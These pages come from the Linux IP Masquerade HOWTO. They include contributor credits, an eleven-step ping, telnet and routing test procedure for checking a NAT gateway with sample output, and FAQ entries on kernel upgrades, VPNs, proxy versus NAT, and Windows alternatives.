  • Michael Owings, mikey@swampgas.com for providing the section about CU-SeeMe and Linux IP-Masquerade Teeny How-To

  • Rob Pelkey, rpelkey@abacus.bates.edu for providing section 3.3.6 and 3.3.7 (setting up MacTCP and Open Transport)

  • Harish Pillay, h.pillay@ieee.org for providing section 4.5 (dial-on-demand using Diald)

  • Mark Purcell, purcell@rmcs.cranfield.ac.uk for providing section 4.6 (IPautofw)

  • David Ranch, dranch@trinnet.net for maintaining the HOWTO, helping with the Linux IP Masquerade Resource Page, the TrinityOS document, ..., too many to list here :-)

  • Paul Russell, rusty@linuxcare.com.au for all his work on IPTABLES, IPCHAINS, the IP Masquerade kernel patches in general, etc. The man is a IP NATing fool!

  • Ueli Rutishauser, rutish@ibm.neton providing section 3.3.9 (setting up OS/2 Warp)

  • Steve Grevemeyer, grevemes@tsmservices.com for taking over the IP Masq Applications page from Lee Nevo and updating it to a full DB backend.

  • Fred Viles, fv@episupport.com for his patches on proper port forarding of FTP.

  • John B. (Brent) Williams, forerunner@mercury.net on providing section 3.3.7 (setting up Open Transport)

  • Enrique Pessoa Xavier, enrique@labma.ufrj.bron the BOOTp setup suggestion

  • All the users on the IP-MASQ email list, masq@tiffany.indyramp.com for their help and support for all the new Linux MASQ users.

  • Other code and documentation developers of IP Masquerade for this great feature

  • Delian Delchev, delian@wfpa.acad.bg

  • David DeSimone (FuzzyFox), fox@dallas.net

  • Jeanette Pauline Middelink, middelin@polyware.iaf.nl

  • Miquel van Smoorenburg, miquels@q.cistron.nl

  • Jos Vos, jos@xos.nl

  • And others who I may have failed to mention here (please let me know)

  • All users sending feedback and suggestions to the mailing list, especially those who reported errors in the document and the clients who are supported and not supported

  • We apologize if we have omitted any important names, not included information that some fellow users have sent us yet, etc. There were many suggestions and ideas sent but there wasn't enough time to verify and integrate these changes. David Ranch is constantly trying his best to incorporate all of the information sent to me into the HOWTO. I thank you for the effort, and I hope you understand our situation.

Prev | Home | Next
Linux IP Masquerade Resource | Up | Reference


Testing IP Masquerade

Linux IP Masquerade HOWTO
Prev Next

Chapter 5. Testing IP Masquerade

Table of Contents
5.1. Loading up the rc.firewall ruleset
5.2. Testing internal MASQ client PC connectivity
5.3. Testing internal MASQ client to MASQ server connectivity
5.4. Testing internal MASQ server connectivity
5.5. Testing internal MASQ server to MASQ client connectivity
5.6. Testing External Internet connectivity
5.7. Testing internal MASQ client to external MASQ server connectivity
5.8. Testing external MASQ ICMP forwarding
5.9. Testing MASQ functionality without DNS
5.10. Testing MASQ functionality with DNS resolution
5.11. Testing more MASQ functionality with DNS
5.12. Any remaining functional, performance, etc. issues...

Finally, it's time to give IP Masquerading an official try after all this hard work. If you haven't already rebooted your Linux box, do so to make sure the machines boots ok, executes the /etc/rc.d/rc.firewall ruleset, etc. Next, make sure that both the internal LAN connection and connection of your Linux hosts to the Internet is okay.

Follow these -11- tests to make sure all aspects of your MASQ setup is running properly:

Prev | Home | Next
Configuring Other Systems |  | Loading up the rc.firewall ruleset


Any remaining functional, performance, etc. issues...

Linux IP Masquerade HOWTO
Prev Chapter 5. Testing IP Masquerade Next

5.12. Any remaining functional, performance, etc. issues...

  • Step Eleven: Any remaining functional, performance, etc. issues...

    If your system passes all of the above tests, but functionality tests like WWW browsing, FTP, and other types of traffic aren't reliable or are slow, I recommend that you read the FAQ section of this HOWTO.. specifically the Section 7.15 FAQ entry. There might be other items in the FAQ section that will also help you as they have helped many other users in the past.

Prev | Home | Next
Testing more MASQ functionality with DNS | Up | Other IP Masquerade Issues and Software Support


Testing external MASQ ICMP forwarding

Linux IP Masquerade HOWTO
Prev Chapter 5. Testing IP Masquerade Next

5.8. Testing external MASQ ICMP forwarding

  • Step Seven: Testing external MASQ ICMP forwarding

    From an internal MASQed computer, now ping a static TCP/IP address (NOT a machine by DNS name) out on the Internet (i.e. ping 152.19.254.81 (this technically the DNS name "metalab.unc.edu" which is home of MetaLabs' Linux Archive). If this works, it should look something like the result below and this ultimately shows that ICMP Masquerading is working properly. (hit Control-C to abort the ping):

    -------------------------------------
masq-client# ping 152.2.254.81
PING 12.13.14.15 (152.2.254.81): 56 data bytes
64 bytes from 152.2.254.81: icmp_seq=0 ttl=255 time=133.4 ms
64 bytes from 152.2.254.81: icmp_seq=1 ttl=255 time=132.5 ms
64 bytes from 152.2.254.81: icmp_seq=2 ttl=255 time=128.8 ms
64 bytes from 152.2.254.81: icmp_seq=3 ttl=255 time=132.2 ms
^C

--- 152.2.254.81 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 128.8/131.7/133.4 ms
-------------------------------------

    If it didn't work, again check your Internet connection. If this still doesn't work, make sure you are using the simple rc.firewall ruleset and that you have ICMP Masqurading compiled into the Linux kernel. Finally, make sure that the ruleset which enables IP MASQ is pointing to the correct EXTERNAL interface.

Prev | Home | Next
Testing internal MASQ client to external MASQ server connectivity | Up | Testing MASQ functionality without DNS


Testing External Internet connectivity

Linux IP Masquerade HOWTO
Prev Chapter 5. Testing IP Masquerade Next

5.6. Testing External Internet connectivity

  • Step Five: Testing External MASQ server Intenret Linux connectivity

    From the MASQ server, ping the external IP address of the MASQ server's EXTERNAL network interface that is connected to the Internet. This address might be a Ethernet interface, a PPP interface, etc. connection to your ISP. If you don't know what this external IP address is, run the Linux command "/sbin/ifconfig" on the MASQ server itself to get the Internet address. The output should look something like the following (we are looking for the IP address of eth0):

    ------------------------------------
eth0      Link encap:Ethernet  HWaddr 00:08:C7:A4:CC:5B
          inet addr:12.13.14.15  Bcast:12.13.14.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6108459 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5422798 errors:8 dropped:0 overruns:0 carrier:8
          collisions:4675 txqueuelen:100
          Interrupt:11 Base address:0xfcf0
------------------------------------

    As you can see from the above, the external IP address is "12.13.14.15" for this example. So, now that you have your IP address after running the "ipconfig" command, ping your external IP address. This will confirm that the MASQ server has full network connectivity. The output should look something like the following (hit Control-C to abort the ping):

    -------------------------------------
masq-server# ping 12.13.14.15
PING 12.13.14.15 (12.13.14.15): 56 data bytes
64 bytes from 12.13.14.15: icmp_seq=0 ttl=255 time=0.8 ms
64 bytes from 12.13.14.15: icmp_seq=1 ttl=255 time=0.4 ms
64 bytes from 12.13.14.15: icmp_seq=2 ttl=255 time=0.4 ms
64 bytes from 12.13.14.15: icmp_seq=3 ttl=255 time=0.5 ms
^C

--- 12.13.14.15 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.5/0.8 ms
-------------------------------------

    If either of these tests doesn't work, you need to go back and double check your network cabling and verify that the two network interfaces on the MASQ server are seen in "dmesg". An example of this output would be the following towards the END of the "dmesg" command:

    -------------------------------------
.
.
PPP: version 2.3.7 (demand dialling)
TCP compression code copyright 1989 Regents of the University of California
PPP line discipline registered.
3c59x.c:v0.99H 11/17/98 Donald Becker
http://cesdis.gsfc.nasa.gov/linux/drivers/
vortex.html
eth0: 3Com 3c905 Boomerang 100baseTx at 0xfe80,  00:60:08:a7:4e:0e, IRQ 9
  8K word-wide RAM 3:5 Rx:Tx split, autoselect/MII interface.
  MII transceiver found at address 24, status 786f.
  Enabling bus-master transmits and whole-frame receives.
eth1: 3Com 3c905 Boomerang 100baseTx at 0xfd80,  00:60:97:92:69:f8, IRQ 9
  8K word-wide RAM 3:5 Rx:Tx split, autoselect/MII interface.
  MII transceiver found at address 24, status 7849.
  Enabling bus-master transmits and whole-frame receives.
Partition check:
 sda: sda1 sda2 < sda5 sda6 sda7 sda8 >
 sdb:
.
.
-------------------------------------

    Also be sure that the cabling is correct (Ethernet: the NICs connecting the external MASQ server to your ISP has the "link" light lit up). Finally, make sure that TCP/IP is correctly configured on the MASQed Server as described by the various Network HOWTOs (URLs can be found in the requirements section for your 2.4.x kernel in Section 2.6, 2.2.x kernel in Section 2.7, or 2.0.x kernel in Section 2.8).

Prev | Home | Next
Testing internal MASQ server to MASQ client connectivity | Up | Testing internal MASQ client to external MASQ server connectivity


Testing internal MASQ server connectivity

Linux IP Masquerade HOWTO
Prev Chapter 5. Testing IP Masquerade Next

5.4. Testing internal MASQ server connectivity

  • Step Three: Testing internal MASQ server connectivity

    On the MASQ server, ping the internal IP address of the MASQ server's network interface card (i.e. ping 192.168.0.1). If this ping doesn't work, make sure that TCP/IP is correctly configured on the MASQed Server as described by the various Network HOWTOs (URLs can be found in the requirements section for your 2.4.x kernel in Section 2.6, 2.2.x kernel in Section 2.7, or 2.0.x kernel in Section 2.8). The output should look something like the following (hit Control-C to abort the ping):

    --------------------------------------
masq-server# ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1): 56 data bytes
64 bytes from 192.168.0.1: icmp_seq=0 ttl=255 time=0.8 ms
64 bytes from 192.168.0.1: icmp_seq=1 ttl=255 time=0.4 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=255 time=0.4 ms
64 bytes from 192.168.0.1: icmp_seq=3 ttl=255 time=0.5 ms
^C

--- 192.168.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.5/0.8 ms
---------------------------------------

Prev | Home | Next
Testing internal MASQ client to MASQ server connectivity | Up | Testing internal MASQ server to MASQ client connectivity


Testing internal MASQ server to MASQ client connectivity

Linux IP Masquerade HOWTO
Prev Chapter 5. Testing IP Masquerade Next

5.5. Testing internal MASQ server to MASQ client connectivity

  • Step Four: Testing internal MASQ server to MASQ client connectivity

    Next from MASQed server, try pinging the IP address of one of the internal MASQ client computers (i.e. ping 192.168.0.10 ). This will verify that TCP/IP is correctly working on both the local server machine and on the MASQ client machine. If this ping doesn't work, make sure that TCP/IP is correctly configured on the MASQed PC as described earlier in Chapter 4 of this HOWTO. Also be sure that the cabling is correct (Ethernet: the NICs connecting the internal MASQ PC and the MASQ server have the "link" light lit up). If the ping does work, the output should look something like the following (hit Control-C to abort the ping):

    ------------------------------------
masq-server# ping 192.168.0.10
PING 192.168.0.10 (192.168.0.10): 56 data bytes
64 bytes from 192.168.0.10: icmp_seq=0 ttl=255 time=0.8 ms
64 bytes from 192.168.0.10: icmp_seq=1 ttl=255 time=0.4 ms
64 bytes from 192.168.0.10: icmp_seq=2 ttl=255 time=0.4 ms
64 bytes from 192.168.0.10: icmp_seq=3 ttl=255 time=0.5 ms
^C

--- 192.168.0.10 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.5/0.8 ms
------------------------------------

Prev | Home | Next
Testing internal MASQ server connectivity | Up | Testing External Internet connectivity


Testing MASQ functionality with DNS resolution

Linux IP Masquerade HOWTO
Prev Chapter 5. Testing IP Masquerade Next

5.10. Testing MASQ functionality with DNS resolution

  • Step Nine: Testing MASQ functionality with DNS resolution

    Now try TELNETing to a remote machine by DNS name (i.e. "telnet metalab.unc.edu" (IP address 152.2.254.81). If this works, the output should look like something below. With this test, this shows that UDP-based DNS is working fine.

    --------------------------------
masq-client# telnet MetaLab.unc.edu
Trying 152.2.254.81...
Connected to 152.2.254.81.
Escape character is '^]'.

SunOS 5.7

******************** Welcome to MetaLab.unc.edu *******************

 To login to MetaLab as a user, connect to login.metalab.unc.edu.
           This machine does not allow public telnet logins.

login: Connection closed by foreign host.
--------------------------------

    If this did not work, but Step EIGHT did work, make sure that you have one or more valid DNS servers configured on each of the MASQ CLIENT computer(s) as shown in Chapter 4. Please note that these DNS servers will typically be your ISP's DNS servers and NOT your local MASQ server. Some people might later choose to setup their OWN DNS servers but this is beyond the scope of this HOWTO.

Prev | Home | Next
Testing MASQ functionality without DNS | Up | Testing more MASQ functionality with DNS


Testing more MASQ functionality with DNS

Linux IP Masquerade HOWTO
Prev Chapter 5. Testing IP Masquerade Next

5.11. Testing more MASQ functionality with DNS

  • Step Ten: Testing more MASQ functionality with DNS

    As a last test, try browsing some 'INTERNET' WWW sites on one of your MASQ Client machines, and see if you can reach them. For example, access the Linux Documentation Project site at http://www.linuxdocs.org. If you are successful in bringing up that page, you can be fairly certain that everything is working FINE! If some WWW or FTP sites have problems, where other sites seem to work just fine, see the next step for more ideas.

    If you see The Linux Documentation Project homepage, then CONGRATULATIONS! It's working! If the WWW site comes up correctly, then all other standard network tools such as PING, TELNET, SSH, and with their related IP MASQ modules loaded: FTP, Real Audio, IRC DCCs, Quake I/II/III, CuSeeme, VDOLive, etc. should work fine too! If FTP, IRC, RealAudio, Quake I/II/III, etc. aren't working or are performing poorly, verify that their associated Masquerading modules are loaded by running "lsmod" and also be sure you are loading the module with any non-default server ports. If you don't see your needed module, make sure your /etc/rc.d/rc.firewall script is loading them (i.e. remove the # character for a given IP MASQ module).

Prev | Home | Next
Testing MASQ functionality with DNS resolution | Up | Any remaining functional, performance, etc. issues...


Testing MASQ functionality without DNS

Linux IP Masquerade HOWTO
Prev Chapter 5. Testing IP Masquerade Next

5.9. Testing MASQ functionality without DNS

  • Step Eight: Testing MASQ functionality without DNS

    Now try TELNETing to a remote IP address (i.e. telnet 152.2.254.81 ( this is technically the DNS name "metalab.unc.edu"). It might take a few seconds to get a login prompt since this is a VERY busy server. Did you get a login prompt like shown below? If so, it means that TCP Masquerading is running OK. If not, try TELNETing to some other hosts you think will support TELNET like 198.182.196.55 (www.linux.org). If this still doesn't work, make sure you are using the simple rc.firewall ruleset for this test. An example of this output might look like (hit Control-D to exit out of the TELNET):
    --------------------------------
masq-client# telnet 152.2.254.81
Trying 152.2.254.81...
Connected to 152.2.254.81.
Escape character is '^]'.

SunOS 5.7

******************** Welcome to MetaLab.unc.edu *******************

 To login to MetaLab as a user, connect to login.metalab.unc.edu.
           This machine does not allow public telnet logins.

login: Connection closed by foreign host.
--------------------------------

Prev | Home | Next
Testing external MASQ ICMP forwarding | Up | Testing MASQ functionality with DNS resolution


Testing internal MASQ client to external MASQ server connectivity

Linux IP Masquerade HOWTO
Prev Chapter 5. Testing IP Masquerade Next

5.7. Testing internal MASQ client to external MASQ server connectivity

  • Step Six: Testing internal MASQ client to external MASQ server connectivity

    From an internal MASQed computer, ping the IP address of the MASQ server's EXTERNAL TCP/IP address obtained in Step FIVE above. This address could be from your Ethernet, PPP, etc. interface which is ultimately the address connected to your ISP. This ping test will prove that Linux masquerading (ICMP Masquerading specifically) and IP forwarding is working.

    If everthing thing is working correctly, the output should look something like the following (hit Control-C to abort the ping):

    -------------------------------------
masq-client# ping 12.13.14.15
PING 12.13.14.15 (12.13.14.15): 56 data bytes
64 bytes from 12.13.14.15: icmp_seq=0 ttl=255 time=0.8 ms
64 bytes from 12.13.14.15: icmp_seq=1 ttl=255 time=0.4 ms
64 bytes from 12.13.14.15: icmp_seq=2 ttl=255 time=0.4 ms
64 bytes from 12.13.14.15: icmp_seq=3 ttl=255 time=0.5 ms
^C

--- 12.13.14.15 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.5/0.8 ms
-------------------------------------

    If this test doesn't work, first make sure that the "Default Gateway" on the MASQed PC is pointing to the IP address on the MASQ -SERVERs- INTERNAL NIC. Also double check that the /etc/rc.d/rc.firewall script was run without any errors. Just as a test, try re-running the /etc/rc.d/rc.firewall script now to see if it runs OK. Also, though most kernels support it by default, make sure that you enabled "ICMP Masquerading" in the kernel comfiguration and "IP Forwarding" in your /etc/rc.d/rc.firewall script.

    If you still can't get things to work, take a look at the output from the following commands run on the Linux MASQ SERVER:

    • "ifconfig" : Make sure the interface for your Internet connection (be it ppp0, eth0, etc.) is UP and you have the correct IP address for the Internet connection. An example of this output is shown in STEP FIVE above.

    • "netstat -rn" : Make sure your default gateway (the column with an IP address in the Gateway column) is set. An example of this output might look like:
      -------------------------------------
masq-server# netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
192.168.0.1     0.0.0.0         255.255.255.255 UH        0 16384      0 eth1
12.13.14.15     0.0.0.0         255.255.255.255 UH        0 16384      0 eth0
12.13.14.0      0.0.0.0         255.255.255.0   U         0 0          0 eth0
192.168.0.0     0.0.0.0         255.255.255.0   U         0 0          0 eth1
127.0.0.0       0.0.0.0         255.0.0.0       U         0 16384      0 lo
0.0.0.0         12.13.14.1      0.0.0.0         UG        0 16384      0 eth0
-------------------------------------
      Notice the very LAST line that starts with 0.0.0.0? Notice that it also has an IP address in the "Gateway" field? You should specify an IP address for your specific setup in that field (this is typically done automatically when your Internet connection is enabled).

    • "cat /proc/sys/net/ipv4/ip_forward" : Make sure it says "1" so that Linux forwarding is enabled

    • Run the command "/sbin/ipchains -n -L" for 2.2.x users or "/sbin/ipfwadm -F -l" for 2.0.x users. Specifically, look for the FORWARDing section to make sure you have MASQ enabled. An example of an IPCHAINS output might look like for users using the Simple rc.firewall ruleset:
      ------------------------------------
.
.
Chain forward (policy REJECT):
target     prot opt     source                destination           ports
MASQ       all  ------  192.168.0.0/24       0.0.0.0/0             n/a
ACCEPT     all  ----l-  0.0.0.0/0            0.0.0.0/0             n/a
.
.
------------------------------------

Prev | Home | Next
Testing External Internet connectivity | Up | Testing external MASQ ICMP forwarding


Testing internal MASQ client to MASQ server connectivity

Linux IP Masquerade HOWTO
Prev Chapter 5. Testing IP Masquerade Next

5.3. Testing internal MASQ client to MASQ server connectivity

  • Step Two: Testing internal MASQ client to MASQ server connectivity

    Next, from the same internal MASQed computer, try pinging the the IP address of the Linux MASQ server's INTERNAL interface (i.e. ping 192.168.0.1 ). This will verify that TCP/IP is correctly working on both the local and Linux MASQ machine. Almost ALL modern operating systems have built-in support for the "ping" command. If this ping doesn't work, make sure that TCP/IP is correctly configured on the MASQed Server as described by the various Network HOWTOs (URLs can be found in the requirements section for your 2.4.x kernel in Section 2.6, 2.2.x kernel in Section 2.7, or 2.0.x kernel in Section 2.8). Also be sure that the cabling is correct (Ethernet: the NICs connecting the internal MASQ PC and the MASQ server have the "link" light lit up). The output should look something like the following (hit Control-C to abort the ping):

    ------------------------------------
masq-client# ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1): 56 data bytes
64 bytes from 192.168.0.1: icmp_seq=0 ttl=255 time=0.8 ms
64 bytes from 192.168.0.1: icmp_seq=1 ttl=255 time=0.4 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=255 time=0.4 ms
64 bytes from 192.168.0.1: icmp_seq=3 ttl=255 time=0.5 ms
^C

--- 192.168.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.5/0.8 ms
------------------------------------

Prev | Home | Next
Testing internal MASQ client PC connectivity | Up | Testing internal MASQ server connectivity


Testing internal MASQ client PC connectivity

Linux IP Masquerade HOWTO
Prev Chapter 5. Testing IP Masquerade Next

5.2. Testing internal MASQ client PC connectivity

  • Step One: Testing internal MASQ client PC connectivity

    From an internal MASQed computer, try pinging its local IP address (i.e. ping 192.168.0.10 ). This will verify that TCP/IP is correctly working on the local machine. Almost ALL modern operating systems have built-in support for the "ping" command. If this ping doesn't work, make sure that TCP/IP is correctly configured on the MASQed PC as described earlier in Chapter 4 of this HOWTO. The output should look something like the following (hit Control-C to abort the ping):

    ------------------------------------
masq-client# ping 192.168.0.10
PING 192.168.0.10 (192.168.0.10): 56 data bytes
64 bytes from 192.168.0.10: icmp_seq=0 ttl=255 time=0.8 ms
64 bytes from 192.168.0.10: icmp_seq=1 ttl=255 time=0.4 ms
64 bytes from 192.168.0.10: icmp_seq=2 ttl=255 time=0.4 ms
64 bytes from 192.168.0.10: icmp_seq=3 ttl=255 time=0.5 ms
^C

--- 192.168.0.10 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.5/0.8 ms
------------------------------------

Prev | Home | Next
Loading up the rc.firewall ruleset | Up | Testing internal MASQ client to MASQ server connectivity


( Thanks ) - I got IP Masquerade working, it's great! I want to thank you guys, what can I do?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.46. ( Thanks ) - I got IP Masquerade working, it's great! I want to thank you guys, what can I do?

  • Can you translate the newer version of the HOWTO to another language?

  • Thank the developers and appreciate the time and effort they spent on this.

  • Join the IP Masquerade email list and support new MASQ users

  • Send an email to us and let us know how happy you are

  • Introduce other users to Linux and help them when they have problems.

Prev | Home | Next
( Updates ) - This HOWTO seems out of date, are you still maintaining it? Can you include more information on ...? Are there any plans for making this better? | Up | Miscellaneous


( Translators ) - I want to translate this HOWTO to another language, what should I do?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.44. ( Translators ) - I want to translate this HOWTO to another language, what should I do?

Make sure the language you want to translate to is not already covered by someone else. But, most of the translated HOWTOs are now OLD and need to be updated. A list of available HOWTO translations are available at the Linux IP Masquerade Resource.

If a copy of a current IP MASQ HOWTO isn't in your proposed language, please download the newest copy of the IP-MASQ HOWTO SGML code from the Linux IP Masquerade Resource. From there, begin your work while maintaining good SGML coding. For more help on SGML, check out www.sgmltools.org

Prev | Home | Next
( More INFO ) - Where can I find more information on IP Masquerade? | Up | ( Updates ) - This HOWTO seems out of date, are you still maintaining it? Can you include more information on ...? Are there any plans for making this better?


( Updates ) - This HOWTO seems out of date, are you still maintaining it? Can you include more information on ...? Are there any plans for making this better?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.45. ( Updates ) - This HOWTO seems out of date, are you still maintaining it? Can you include more information on ...? Are there any plans for making this better?

Yes, this HOWTO is still being maintained. In the past, Ambrose was guilty of being too busy working on two jobs and didn't have much time to work on this, my apologies. As of v1.50, David Ranch revamped the document and got it current again.

If you think of a topic that could be included in the HOWTO, please send email dranch@trinnet.net. It will be even better if you can provide that information. We will then include the information into the HOWTO once it is both found appropriate and tested. Many thanks for your contributions!

We have a lot of new ideas and plans for improving the HOWTO, such as case studies that will cover different network setup involving IP Masquerade, more on security via strong IPFWADM/IPCHAINS firewall rulesets, IPCHAINS usage, more FAQ entries, etc. If you think you can help, please do! Thanks.

Prev | Home | Next
( Translators ) - I want to translate this HOWTO to another language, what should I do? | Up | ( Thanks ) - I got IP Masquerade working, it's great! I want to thank you guys, what can I do?


( Upgrades ) - I've just upgraded to the 2.2.x kernels, why isn't IP Masquerade working?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.38. ( Upgrades ) - I've just upgraded to the 2.2.x kernels, why isn't IP Masquerade working?

There are several things you should check assuming your Linux IP Masq box already has proper connections to the Internet and your LAN:

  • Make sure you have the necessary features and modules are compiled and loaded. See earlier sections for details.

  • Check /usr/src/linux/Documentation/Changes and make sure you have the minimal requirement for the network tools installed.

  • Make sure you followed all of the tests in Chapter 5 of the HOWTO.

  • You should use ipchains (mirror at Samba.org) to manipulate IP Masq and firewalling rules.

  • The standard IPAUTOFW and IPPORTFW port forwarders have been replaced by IPMASQADM. You'll need to apply these patches to the kernel, re-compile the kernel, compile the new IPMASQADM tool and then convert your old IPAUTOFW/IPPORTFW firewall rulesets to the new syntax. This is completely covered in Section 6.7.

  • Go through all setup and configuration again! Usually, it's just a typo or a simple mistake you are overlooking.

Prev | Home | Next
( IPCHAINS vs. IPFWADM ) - Why do the new 2.1.x and 2.2.x kernels use IPCHAINS instead of IPFWADM? | Up | ( Upgrades cont.) - I've just upgraded to a 2.0.38+ kernels later, why isn't IP Masquerade working?


( Upgrades cont.) - I've just upgraded to a 2.0.38+ kernels later, why isn't IP Masquerade working?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.39. ( Upgrades cont.) - I've just upgraded to a 2.0.38+ kernels later, why isn't IP Masquerade working?

There are several things you should check assuming your Linux IP Masq box already has proper connections to the Internet and your LAN:

  • Make sure you have the necessary features and modules compiled and loaded. See earlier sections for more details.

  • Check /usr/src/linux/Documentation/Changes and make sure you meet the minimal requirements for the network tools installed.

  • Make sure you followed all of the tests in Chapter 5 of the HOWTO.

  • You should use ipfwadm to manipulate IP Masq and firewalling rules. If you want to use IPCHAINS, you'll need to apply a patch to the 2.0.x kernels.

  • Go through all setup and configuration again! Usually, it's just a typo or a simple mistake you overlooked.

Prev | Home | Next
( Upgrades ) - I've just upgraded to the 2.2.x kernels, why isn't IP Masquerade working? | Up | ( EQL ) - I need help with EQL connections and IP Masq


( VPNs ) - I would like to get Microsoft PPTP (GRE tunnels) and/or IPSEC (Linux SWAN) tunnels running through IP MASQ

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.32. ( VPNs ) - I would like to get Microsoft PPTP (GRE tunnels) and/or IPSEC (Linux SWAN) tunnels running through IP MASQ

This IS possible for specific modes. Specifically, both the 2.0.x and 2.2.x kernels support patches to allow for both ONE or MULTIPLE PPTP users behind a IPMASQ server to connect to the -same- PPTP server. The 2.4.x kernels currently have a BETA version of a PPTP module available on the IPMASQ WWW site. Please check out John Hardin's PPTP Masq page for details.

Prev | Home | Next
( Netstat ) - I'm trying to use the NETSTAT command to show my Masqueraded connections but its not working | Up | ( Games ) - I want to get the XYZ network game to work through IP MASQ but it won't work. Help!


( NAT vs. Proxy ) - How does IP Masquerade differ from Proxy or NAT services?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.6. ( NAT vs. Proxy ) - How does IP Masquerade differ from Proxy or NAT services?

Proxy:  Proxy servers are available for: Win95, NT, Linux, Solaris, etc.

            Pro:    + (1) IP address ; cheap
                    + Optional caching for better performance (WWW, etc.)

            Con:    - All applications behind the proxy server must both SUPPORT
                      proxy services (SOCKS) and be CONFIGURED to use the Proxy
                      server
                    - Screws up WWW counters and WWW statistics

     A proxy server uses only (1) public IP address, like IP MASQ, and acts
     as a translator to clients on the private LAN (WWW browser, etc.).
     This proxy server receives requests like TELNET, FTP, WWW,
     etc. from the private network on one interface.  It would then in turn,
     initiate these requests as if someone on the local box was making the
     requests.   Once the remote Internet server sends back the requested
     information, it would re-translate the TCP/IP addresses back to the
     internal MASQ client and send traffic to the internal requesting host.
     This is why it is called a PROXY server.

        Note:  ANY applications that you might want to use on the
            internal machines *MUST* have proxy server support
            like Netscape and some of the better TELNET and FTP
            clients.  Any clients that don't support proxy servers
            won't work.

     Another nice thing about proxy servers is that some of them
     can also do caching (Squid for WWW).  So, imagine that you have 50
     proxied hosts all loading Netscape at once.  If they were installed
     with the default homepage URL, you would have 50 copies of the same
     Netscape WWW page coming over the WAN link for each respective computer.
     With a caching proxy server, only one copy would be downloaded by the
         proxy server and then the proxied machines would get the WWW page from
         the cache.  Not only does this save bandwidth on the Internet
         connection, it will be MUCH MUCH faster for the internal proxied
         machines.

MASQ:	 IP Masq is available on Linux and a few ISDN routers such
 or	 as the Zytel Prestige128, Cisco 770, NetGear ISDN routers, etc.
1:Many
 NAT
        Pro: 	+ Only (1) IP address needed (cheap)
            + Doesn't require special application support
            + Uses firewall software so your network can become
              more secure

        Con:	- Requires a Linux box or special ISDN router
              (though other products might have this..  )
            - Incoming traffic cannot access your internal LAN
              unless the internal LAN initiates the traffic or
              specific port forwarding software is installed.
              Many NAT servers CANNOT provide this functionality.
            - Special protocols need to be uniquely handled by
              firewall redirectors, etc.  Linux has full support
              for this (FTP, IRC, etc.) capabilty but many routers
              do NOT (NetGear DOES).

     Masq or 1:Many NAT is similar to a proxy server in the sense that the
     server will perform IP address translation and fake out the remote server
     (WWW for example) as if the MASQ server made the request instead of an
     internal machine.

     The major difference between a MASQ and PROXY server is that MASQ servers
     don't need any configuration changes to all the client machines.  Just
     configure them to use the linux box as their default gateway and everything
     will work fine.  You WILL need to install special Linux modules for things
     like RealAudio, FTP, etc. to work)!

     Also, many users operate IP MASQ for TELNET, FTP, etc. *AND* also setup a
     caching proxy on the same Linux box for WWW traffic for the additional
     performance.

NAT:	 NAT servers are available on Windows 95/NT, Linux, Solaris, and some
     of the better ISDN routers (not Ascend)

        Pro: 	+ Very configurable
            + No special application software needed

        Con:	- Requires a subnet from your ISP (expensive)

     Network Address Translation is the name for a box that would have a pool of
     valid IP addresses on the Internet interface which it can use.  Whenever the
     Internal network wanted to go to the Internet, it associates an available
     VALID IP address from the Internet interface to the original requesting
     PRIVATE IP address.  After that, all traffic is re-written from the NAT
     public IP address to the NAT private address.  Once the associated PUBLIC
     NAT address becomes idle for some pre-determined amount of time, the
     PUBLIC IP address is returned back into the public NAT pool.

     The major problem with NAT is, once all of the free public IP addresses are
     used, any additional private users requesting Internet service are out of
     luck until a public NAT address becomes free.

For an excellent and very comprehensive description of the various forms of NAT, please see:

  • http://www.suse.de/~mha/linux-ip-nat/diplom/nat.html/

Here is another good site to learn about NAT, although many of the URLs are old but still valid:

  • http://www.linas.org/linux/load.html/

This is a great URL for learning about other NAT solutions for Linux as well as other platforms:

  • "http://www.uq.net.au/~zzdmacka/the-nat-page/

Prev | Home | Next
( Email list ) - How do I join or view the IP Masquerade and/or IP Masqurade Developers mailing lists and archives? | Up | ( GUI ) - Are there any GUI firewall creation/management tools?


( Wussing out ) - I can't get IP Masquerade to work! What options do I have for Windows Platforms?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.41. ( Wussing out ) - I can't get IP Masquerade to work! What options do I have for Windows Platforms?

Looking to give up a free, reliable, high performance solution that works on minimal hardware and pay a fortune for something that needs more hardware, is lower performance and did I say less reliable? (IMHO. And yes, I have real life experience with these ;-)

Okay, it's your call. If you want a Windows NAT and/or proxy solution, here is a decent listing. I don't prefer any one of these tools over another, especially since I haven't used them before.

  • Firesock (from the makers of Trumpet Winsock)

    • Does Proxy

    • http://www.trumpet.com.au

  • Iproute

    • DOS program designed to run on 286+ class computers

    • requires another box like Linux MASQ

    • http://www.mischler.com/iproute/

  • Microsoft Proxy

    • Requires Windows NT Server

    • Quite expensive

    • http://www.microsoft.com

